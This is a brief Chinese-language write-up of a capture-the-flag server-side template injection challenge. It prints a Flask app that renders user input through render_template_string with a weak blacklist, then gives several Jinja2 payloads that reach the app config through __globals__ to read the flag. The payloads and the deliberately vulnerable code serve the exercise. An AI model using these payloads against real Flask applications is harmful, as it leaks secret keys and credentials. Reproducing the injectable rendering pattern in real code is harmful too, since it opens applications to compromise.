import flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
是一道ssti注入题目,flag在flask的config中,但是()都被过滤了,所以不能使用任何函数。
既然flag在config中,那么使用{{config['FLAG']}}即可读取flag,但是config也被过滤掉了。
除此之外,还有另外一种方式可以读取config,就是利用全局变量
{{url_for.__globals__['current_app'].config.FLAG}}{{get_flashed_messages.__globals__['current_app'].config.FLAG}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
